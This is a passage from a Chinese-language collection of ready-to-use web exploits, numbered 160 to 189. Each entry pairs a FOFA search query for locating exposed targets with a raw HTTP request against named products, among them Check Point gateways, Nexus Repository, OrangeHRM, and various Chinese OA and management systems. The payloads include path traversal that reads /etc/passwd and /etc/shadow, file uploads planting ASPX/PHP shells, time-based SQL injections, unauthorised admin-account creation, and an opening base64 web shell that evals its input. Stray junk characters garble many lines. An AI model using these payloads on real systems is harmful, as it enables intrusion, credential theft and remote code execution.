5 y# c# ?  }: ~& b# o<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
9 Z/ x. R$ Z  x) B4 k2 `( `% D</jobUpload>
' {1 N0 b9 f6 l2 [. _</soap:Body>
* E( E3 O2 p: l3 H; U: D4 u</soap:Envelope>

% e+ p, O: X5 P: x
/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")
" P5 Z, P) U6 M6 ]

- Q2 a, ^' ]3 E7 F160. Sonatype Nexus Repository 3目录遍历与文件读取
CVE-2024-4956
6 w" H9 d8 F* c. r' v% X, `FOFA：title="Nexus Repository Manager"
GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
8 ^' S& }0 |2 C7 [7 u6 w2 n; DHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
  m8 i3 {( u5 [# F; LConnection: close
( c2 q" k0 Y5 ZAccept: */*
Accept-Language: en
9 p  _% X' {& K& |' xAccept-Encoding: gzip
3 J6 x$ }  \- w, O( a8 ]' U
( x( d! n5 n, c+ J7 h- e8 g
. F1 I( H: k, R9 S' q- |161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
FOFA：body="/KT_Css/qd_defaul.css"
: ~4 ?; r; u* X, v' {7 i第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
% \) ^2 j% O4 K! k$ `POST /Webservice.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
$ ~1 w/ ^$ ~# S# b9 }Connection: close
. X/ [/ Y8 @& I, @' L5 O. fContent-Length: 445
; j- W2 W* M+ V9 FContent-Type: text/xml
+ ~  t$ r$ j2 Y! ^Accept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
8 y& G4 |3 l( z- H. g" i3 T; K' v8 S7 V<soap:Envelope xmlns:xsi="
9 N$ H& ~; q3 @1 R0 Q" m7 thttp://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<UploadResume xmlns="http://tempuri.org/">
<ip>1</ip>
<fileName>../../../../dizxdell.aspx</fileName>
<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
5 ^) s' A5 D% W2 y! Z<tag>3</tag>
  q  I+ T4 p9 t</UploadResume>
. W! w* N% O6 o. o) R7 d</soap:Body>
</soap:Envelope>
9 p- e+ f& ~5 y$ U

http://x.x.x.x/dizxdell.aspx
2 o! @8 ^7 U2 G4 s% ]" o
( J: [" o4 m, U# I& [! M4 y162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
+ ~, t) D* D$ J  Q( }: ?FOFA: app="和丰山海-数字标牌"
+ M7 K) j% D% `* M$ ]4 yPOST /QH.aspx HTTP/1.1
Host: x.x.x.x
$ g$ Z6 B' M0 d# K' @( ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
' m  h: e. i" d5 s4 @Content-Length: 583
. Z% \& ]4 v' W6 I2 q; dContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
Accept-Encoding: gzip
; E+ X7 ]& t# @6 Z' J4 Y
$ g! Y8 ]# x& T  a7 U! s/ K------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
+ K6 w0 ^5 M( z5 [Content-Type: application/octet-stream

, D& s& O5 ?# O: s1 |7 Z; ^( v<% response.write("ujidwqfuuqjalgkvrpqy") %>
) g6 x" Z9 [" x------WebKitFormBoundaryeegvclmyurlotuey
, v  D; N  z. x4 q4 UContent-Disposition: form-data; name="action"

; F2 W" D$ _8 t8 Fupload
# v* m' b) B9 a- ^------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="responderId"
7 z. ]  Z( E# ]  r
# J! m3 e1 v! l: F( GResourceNewResponder
0 {! _8 F3 y# M9 X( }------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="remotePath"
! Y: o, X# w' B3 W6 Z$ p
/opt/resources
------WebKitFormBoundaryeegvclmyurlotuey--
0 w1 C' S# t8 T$ S% A1 g7 L2 }8 L
# v, w. \$ `; |# P) T
  [, r$ ?. B' s4 Hhttp://x.x.x.x/opt/resources/kjuhitjgk.aspx
& B- B3 i% S# ]1 N3 A$ b4 b
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
3 Q5 P  w, t; g2 O( y3 [6 SFOFA: icon_hash="-795291075"
$ e& T) O1 e  W% [0 dPOST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
' `, A8 O0 Y' u; WHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
) Q% T' T& n# g& x- tContent-Length: 293
Accept: */*
Accept-Encoding: gzip, deflate
" B) F" s7 R6 H$ tAccept-Language: zh-CN,zh;q=0.9
  {" Z8 c1 Q6 I2 kContent-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod

0 _( i5 w+ }+ o6 C" y% V------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="name"
0 v7 w" M' [8 }9 C! r
2 j& N" V2 K% ]+ \1.php
+ d2 O; ?4 D) g. ~. O# S- D/ W------iiqvnofupvhdyrcoqyuujyetjvqgocod
1 C7 W8 q" C0 n! U+ m( r+ `) ^4 B% O$ dContent-Disposition: form-data; name="upfile"; filename="1.php"
Content-Type: image/jpeg
$ r6 Z/ r! \5 A6 J! A. a; U9 v
rvjhvbhwwuooyiioxega
------iiqvnofupvhdyrcoqyuujyetjvqgocod--
* J5 |& E; A0 Q& g  X
+ O3 B. W; o  ~$ I. z
' |, O7 \& t8 O" o- \) Q, V, X; h164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
) u- x4 A4 I$ T7 ^2 [( DFOFA: title="智慧综合管理平台登入"
POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
Host: x.x.x.x
7 y; w( M) f- i2 ^5 E$ NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Content-Length: 288
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
Connection: close
" k" v  m1 g9 C5 |, }1 g+ \; p. SContent-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
X-Requested-With: XMLHttpRequest
) P  u1 A5 {% V- d0 X9 |8 lAccept-Encoding: gzip
$ M% b3 w* S, I( M
------dqdaieopnozbkapjacdbdthlvtlyl
Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
Content-Type: image/jpeg
+ d- c; R& ~' U* w4 [% j
<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
. m# H" o# G  {" N% W) X------dqdaieopnozbkapjacdbdthlvtlyl--
; P: ?/ B, [5 H0 h

4 L. Y6 J+ U" U4 t$ ?7 ^http://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx

165. OrangeHRM 3.3.3 SQL 注入
( Q5 x5 H* t" \1 pCVE-2024-36428
5 ?% T$ l/ T; j0 l6 l' G" h5 Q% yFOFA: app="OrangeHRM-产品"
* `/ e0 J0 ]* r+ i, p7 U6 S# yURL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))


166. 中成科信票务管理平台SeatMapHandler SQL注入
. k. W, ^/ l- o/ g! u0 E; k0 TFOFA：body="技术支持：北京中成科信科技发展有限公司"
: z" |# A# G/ p; R; g$ U9 KPOST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
Host:
Pragma: no-cache
Cache-Control: no-cache
4 l* V7 O5 ]+ K" ?7 Y- o: v  KUpgrade-Insecure-Requests: 1
* H6 y9 s. [3 r4 J* D  y/ zUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
5 @( b  P  v. J+ Z2 G8 n! p8 ^Accept-Encoding: gzip, deflate
0 B* `" b: ^" d- L5 W/ J1 ^+ O! yAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
+ i' P% N; ?( t5 DConnection: close
6 O3 B* d$ t; WContent-Type: application/x-www-form-urlencoded
Content-Length: 89

Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE
5 ]4 U/ v9 n- P. [

167. 精益价值管理系统 DownLoad.aspx任意文件读取
8 [* C4 T, ?9 p" ^9 o! sFOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
6 y3 |+ B: \+ RGET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
! ?; Z* J0 U# m2 M& Z3 L$ I0 jHost:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
6 s, p5 R7 T8 W2 {Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive


: M2 G5 `  x6 X7 e168. 宏景EHR OutputCode 任意文件读取
FOFA：app="HJSOFT-HCM"
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
7 N! `) M7 a7 D) j  zHost: your-ip
) q. G( {9 J: Q, T3 Q/ u6 ^  t) TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded
! N) Q4 S2 e# U( R4 v1 I5 fConnection: close


& I& m8 ]2 s4 C+ C8 Y- H, G, G4 r
169. 宏景EHR downlawbase SQL注入
# w9 K* Q7 D* g7 ]2 kFOFA：app="HJSOFT-HCM"
GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: */*
4 V0 w$ P" P& M+ Z3 l" ~Accept-Encoding: gzip, deflate
* m) ], D: d& Z7 b& m# R7 c  Z0 Y  ZConnection: close

9 T  V8 B6 x5 D9 u
6 ^  F7 Y) L. A6 l
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
FOFA：body="/general/sys/hjaxmanage.js"
5 K! R9 Y4 H/ u+ XPOST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
+ G1 [2 a, A8 F8 kHost: balalanengliang
" }% w  e! v  E( q+ C- G# JUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded

5 T. L6 M1 }8 V5 T' xfilename=../webapps/ROOT/WEB-INF/web.xml


171. 通天星CMSV6车载定位监控平台 SQL注入
FOFA：body="/808gps/"
GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
/ R1 f9 c5 R# p) P% s6 b6 m6 xHost: your-ip
0 M0 n, ~$ B# n0 p: |User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
7 v) G0 A$ o! A8 W+ WAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
! V! e7 [" E; s! J7 CConnection: close


5 R2 r/ t4 A. P7 A) k- S
172. DT-高清车牌识别摄像机任意文件读取
0 H: _% o2 d9 }$ b) O1 B& TFOFA：app="DT-高清车牌识别摄像机"
GET /../../../../etc/passwd HTTP/1.1
& k# E' x/ p  Q: u' kHost: your-ip
1 k' W# a" `1 E8 r: p8 }$ QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive



& i0 a6 \! ]$ B: c173. Check Point 安全网关任意文件读取
/ V- q; p; b1 \: G. SCVE-2024-24919
FOFA：app="Check_Point-SSL-Network-Extender"
6 N7 V3 ^$ Z9 Q1 oPOST /clients/MyCRL HTTP/1.1
3 m' Z& i: g6 t: d' _( }7 M$ hHost: your-ip
8 w2 ?8 |/ \: {2 fContent-Type: application/x-www-form-urlencoded

aCSHELL/../../../../../../../etc/shadow

1 L/ d& C  v9 z- [0 B% p

& o* w4 v9 ~. e' ?0 U. f5 w' `( y174. 金和OA C6 FileDownLoad.aspx 任意文件读取
5 f9 [" s7 k0 uFOFA：app="金和网络-金和OA"
GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
! ?% Q6 c  w- R# CAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
% J' A1 R  Y$ F6 i4 ]4 lAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
( G& |- m/ x3 uConnection: close



175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
FOFA：app="金和网络-金和OA"
GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
Host:
2 y6 [+ f; ]6 X1 }2 S, H  FUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
, Q5 W  ~# y, }, s0 @Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
, n' j6 R( ~& b, rAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
! K) ]8 _0 D4 }- w! A& S1 P
5 r  }8 X( z3 a/ M
176. 电信网关配置管理系统 rewrite.php 文件上传
FOFA：body="img/login_bg3.png" && body="系统登录"
POST /manager/teletext/material/rewrite.php HTTP/1.1
, J; G, I2 k$ ~% ]2 t' MHost: your-ip
, J5 V# q( D4 w3 L- k- C! D2 rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
( @$ ^/ |! L7 M3 e  XConnection: close
) V2 T: N6 O0 q: k- J3 E
------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
! H. w! Z! L; q9 L2 Z! K4 A3 \$ WContent-Type: image/png

* e7 U9 c8 y, s$ w( G; l<?php system("cat /etc/passwd");unlink(__FILE__);?>
9 k8 N* k4 @" u- Q# o------WebKitFormBoundaryOKldnDPT
+ m# v( ~. U7 @, J- n, g/ H* RContent-Disposition: form-data; name="uploadtime"
/ N8 P. p) ?: y8 W& {( ]' I2 R
# Y' E0 [: y! }$ c" Q$ c  {
------WebKitFormBoundaryOKldnDPT--
& `1 h6 K$ a) E4 l3 N
, O2 w* I+ p# @) n) M

177. H3C路由器敏感信息泄露
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
6 |; m4 O/ z" E! [4 E/userLogin.asp/../actionpolicy_status/../M60.cfg
/userLogin.asp/../actionpolicy_status/../GR8300.cfg
" _5 C9 Q4 B6 e6 b) ~/userLogin.asp/../actionpolicy_status/../GR5200.cfg
/userLogin.asp/../actionpolicy_status/../GR3200.cfg
/userLogin.asp/../actionpolicy_status/../GR2200.cfg
$ ?/ ]3 L7 P% q- a3 A/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200.cfg
/userLogin.asp/../actionpolicy_status/../ER5100.cfg
$ H- w( Z# w6 o: V4 s. j3 b/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3260.cfg
# i9 Q, O0 C7 R. [1 t/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
3 Q5 ~) q* W5 F9 v/userLogin.asp/../actionpolicy_status/../ER3200.cfg
/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
: B3 m9 V) f( _8 z9 j& A& v/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
( ]" d& H4 ]/ |3 l) l- I, p, t/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg
* u+ Q! N% b. I& V5 _$ N+ g) w

178. H3C校园网自助服务系统-flexfileupload-任意文件上传
4 F7 H- `. P+ ^! fFOFA：header="/selfservice"
* c5 s4 g1 x6 k) ]+ T2 fPOST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
' n7 P0 g+ W" W* q+ GContent-Length: 252
% p0 j% n" R" HAccept-Encoding: gzip, deflate
8 a3 i& {9 J- H- ^Connection: close
) c$ z2 R; ?2 {/ {4 n" F3 V" ?" |Content-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
-----------------aqutkea7vvanpqy3rh2l
Content-Disposition: form-data; name="12234.txt"; filename="12234"
; T& U% f5 N: {. L3 t, D+ EContent-Type: application/octet-stream
6 D7 G: z. N! a# h+ \Content-Length: 255
$ F" @" x% X" Z6 A+ |6 |
12234
+ j7 E/ u2 h2 S1 L1 ?-----------------aqutkea7vvanpqy3rh2l--
( @& }9 k1 c3 M: x

* \% J# q# `* D" @GET /imc/primepush/%2e%2e/flex/12234.txt

$ h& a; p% ~9 V0 b* s
* q8 A. G- b  @1 D9 L179. 建文工程管理系统存在任意文件读取
POST /Common/DownLoad2.aspx HTTP/1.1
Host: {{Hostname}}
$ `, ?# E3 |' lContent-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0

path=../log4net.config&Name=
( X' s$ w- U8 _, t  f
$ O% d# u2 n) f9 F5 i- E
180. 帮管客 CRM jiliyu SQL注入
4 A7 d7 y& I+ r! NFOFA：app="帮管客-CRM"
GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
  F7 q& F5 w3 W2 X' H& z8 e/ |Accept-Encoding: gzip, deflate
/ z- K: {! p0 n+ I- ]/ H8 P1 fAccept-Language: zh-CN,zh;q=0.9
Connection: close
% |: C. n! n! x7 }, y( Q
: ?: q! L# \6 d5 N5 @  q
181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
4 d& w% ?: D0 j7 w1 {. X; zFOFA："PDCA/js/_publicCom.js"
/ |+ X" s. J% M9 s, O4 \POST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
. v) p' L, |  U5 P, K* ?Accept-Language: zh-CN,zh;q=0.9
Connection: close
) G( C7 l. G* z) C3 P1 O* eContent-Type: application/x-www-form-urlencoded
$ L% E6 S* m/ a) |$ f$ W0 U; m2 }2 l
" ]; F; o% {' Z! x! j8 |1 P
$ r* d* D  ~6 I9 g' Xaction=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20

  L6 ]9 N2 }3 o/ N! H) i; r2 P
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
$ o, [1 s  h0 \FOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
" O) |( X$ }( Q3 R( Q6 U! qHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
! Q. B* f4 m2 z9 p+ p# @+ [2 m5 s3 eAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
# V5 L( q5 J' H" H' e9 nAccept-Encoding: gzip, deflate, br
* x$ g9 s, @. W6 [Accept-Language: zh-CN,zh;q=0.9
" `* e, b- o& M4 a; Z3 c2 NConnection: close
Content-Type: application/x-www-form-urlencoded
. B% Y$ o. z: J) z$ N6 v
; t9 }' s# A* R: Y, ]
username=test1234&pwd=test1234&savedays=1


183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
FOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
: o1 Q0 P' ]4 W2 E6 b. nHost: your-ip
. @* C0 a3 }# EUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close

: J+ H! o. m- `) E+ K' H
# y" e/ S  V& O184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
& b3 k/ B: ?+ u1 C, VFOFA：server="SunFull-Webs"
POST /soap/AddUser HTTP/1.1
, v( f1 ?: V" K! W. h# r6 pHost: your-ip
! v; o" Q+ {5 {! ^Accept-Encoding: gzip, deflate
6 J6 v& ^% R  Z4 j( o3 h, OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
' z- n4 V1 I2 ]% m! g: vAccept: application/xml, text/xml, */*; q=0.01
/ ~8 u9 g6 ~- R# `' tContent-Type: text/xml; charset=utf-8
( ]/ {" h; R& U- \/ e; eAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 f6 V) U* H5 f- W: i, EX-Requested-With: XMLHttpRequest


insert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')


9 M# J$ r# w& T+ F( E/ y185. 瑞友天翼应用虚拟化系统SQL注入
version < 7.0.5.1
FOFA：app="REALOR-天翼应用虚拟化系统"
0 }9 r4 T' F$ l9 `! e' jGET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
, |- e- c* n( n" \2 T% X; @Host: host
" Q5 r, n+ X7 i6 c

0 z  `1 O; ?  W2 \* K. O! p186. F-logic DataCube3 SQL注入
CVE-2024-31750
& d, @8 |" v7 q' O% W! \$ dF-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
$ W# K% {+ J) ^2 ]9 D9 h! IFOFA：title=="DataCube3"
' q1 z3 p6 f1 D2 `2 e/ gPOST /admin/pr_monitor/getting_index_data.php HTTP/1.1
# `0 ~! S9 T& o8 m6 A6 F! oHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
0 t# `8 K. N) M' B6 [; ^* dAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
* n% f) s* p5 M) kAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
( P9 l. f, s) E5 X( RAccept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded

req_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450


- t/ }  C7 a. @  a# ~7 A7 M187. Mura CMS processAsyncObject SQL注入
$ P1 d- A  r7 Q5 ^2 LCVE-2024-32640
FOFA："Mura CMS"
# G3 g- o/ c$ tPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: your-ip
6 D2 G3 P; ^! V8 |2 IContent-Type: application/x-www-form-urlencoded
% G( W8 \  {: q. S  A
5 C7 V, j9 B; y$ ~. ?$ W
object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1
2 c% J/ {6 s& P+ `, R5 ]; [
6 m& f9 l. w, W) O' G
6 g0 X% s/ r0 @4 v% l! W& q188. 叁体-佳会视频会议 attachment 任意文件读取
version <= 3.9.7
FOFA：body="/system/get_rtc_user_defined_info?site_id"
; `* Z5 y7 r: n* S( s- `# BGET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7 _4 b: e  s( [& Y9 j7 TAccept-Encoding: gzip, deflate
& B' X# ~3 Y) S4 j1 ?Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

" }0 s% O8 u: O. R/ G) p! h9 C
. E' g5 E3 v) t0 }189. 蓝网科技临床浏览系统 deleteStudy SQL注入
FOFA：app="LANWON-临床浏览系统"
/ }3 A) j7 I7 Z" G5 _0 e9 \GET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
$ d2 o& b7 @. UHost: your-ip
